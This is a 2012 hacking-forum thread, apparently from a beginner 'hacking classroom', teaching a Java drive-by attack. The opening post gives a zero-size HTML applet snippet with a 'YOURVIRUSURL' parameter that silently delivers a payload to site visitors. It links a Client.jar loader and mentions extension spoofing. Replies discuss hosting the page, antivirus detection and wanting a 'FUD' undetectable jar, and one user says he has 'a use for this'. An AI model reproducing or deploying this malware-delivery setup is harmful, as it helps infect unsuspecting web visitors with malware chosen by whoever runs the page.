Thread: [Antagonism | Lesson Three - Java Drive By](#)

-?Divine- - December 2, 2012, 10:54 pm

Note: I am Divine. My old account was merged with some random guy who used it to scam people. The account can't be recovered, but Factor8 said I could stay with this one. To read more about it and learn who I really am, click [this](#). With F8's permission, I am regaining access to my old threads.

[img]http://desmond.imageshack.us/Himg515/scaled.php?server=515&filename=antagonism.jpg&res=medium[/img]

Awaken. You have been lost for too long, buried, in the mist of unknown shadows. Awaken. Your cries have been heard and they shall not be neglected. Come forward. You are grasping in the dark, blind for what is before you. Awaken, for I shall be your eyes. Call my name, and I will breach the darkness in path before you. Take my hand, and I will be the light that illuminates your journey. Come forward, and walk with us, for we are the vanguard of your purification. Dance in the rhythm of silence.

Welcome. I am the head of Antagonism beginner hacking classroom, and I will be teaching you from now on. You will post in this thread what you want to learn about, and what gets most votes shall be accepted for the next class. Everyone who applies for that class shall be invited to join the class and PM-ed with my Team Viewer information. Lessons will be recorded, and posted publicly so everyone who missed them can watch the video.

I highly recommend you read my [Ultimate Java Drive By](#) tutorial.

Third lesson, Java Drive Bys:

I have covered everything you need to know about extension spoofing and how it works. I am showing how it is done manually and how to code your very own extension spoofer.

[Video: http://www.youtube.com/watch?v=OwuU_3oCmT4]

Please note that hypercam didn't record the Team Viewer window and questions people were asking me. So if you hear me talk something random, I'm actually reading and replying to their questions or requests to repeat.

Paste this in notepad:

```
Code <APPLET CODE = "Client.class" ARCHIVE = "Client.jar" WIDTH = "0" HEIGHT = "0">
<PARAM NAME = "AMLMAFOIEA" VALUE = "YOURVIRUSURL">
</APPLET>
```

Download client.jar [Here](#).

Other Lessons can be found [here](#).

Terry A. Davis - December 2, 2012, 11:32 pm

I know it is still a .JAR but little hint don't host on Dropbox few rumors say they distribute

-?Divine- - December 2, 2012, 11:35 pm

I know. This is a public one and is already detected by most AVs.

Just thought I should check thanks for offering all these services would you want them to be shown in one of the BHS helpdesks? I will see if I can arrange it if you want

Would you mind pming me the links then? I will get Rage to add them to the OP and I wil post them

Reverse Engineer. - December 2, 2012, 11:44 pm

Alot of these has allready been done but if I wanted to learn this I

Would use your HQ video

-?Divine- - December 3, 2012, 10:33 am

Glad you liked it mate. And I PM-ed you Cell.

Mr_Runtime - December 4, 2012, 4:56 pm

Thanks! I think I have a use for this.

?Dante - December 13, 2012, 4:17 am

This thread deserves to be on first page. <3

Executive - December 13, 2012, 5:09 am

Good job with the tuts :) your group is really helping

hand0fg0d - December 28, 2012, 9:48 pm

I tried accessing the tutorial link u posted but it says I do not have permission. I am extremely satisfied with the lessons though you have been a major help!

-?Divine- - December 28, 2012, 10:54 pm

Yea sorry about that, I removed it recently.

Dynamo999_eu - January 18, 2013, 2:36 pm

amazing tut, very clear... i just need some help cause i have a webhosting but frankly i do not know how to use it.. i upload to the public folder but when i right click there are a lot of options but not visit website or anything like that :(can anyone help?

Thanks,

Thanks,

Navigate to WebsiteUsername.WebsiteName.com/NameOfFile

So it's like <http://divine.cwahi.net/NameOfFile>

Dynamo999_eu - January 18, 2013, 2:54 pm

hmmm not finding it... can you view my settings on TV and guide me through it plz? (excuse my noobness but im learning) :P

sethwilliam - January 19, 2013, 1:57 pm

Nice thread just wish I could get a FUD .jar file.anywau nice tut I fully support antagonism and hope to join them one day after I learn more.

-?Divine- - January 20, 2013, 5:00 am

Thanks for commenting guys. Glad you liked it.

DeathStalker - January 21, 2013, 10:13 am

Would this JDB happen to be 64 bit?

KissMyAxe - January 27, 2013, 7:35 am

bro i did everything correctly and my website also worked correctly but when i click on Install plugin it is not download my plugin it is download the original java runtime from somewhere it is not downloading my server need help plss

and i am not getting the public option in the dropbox please help me
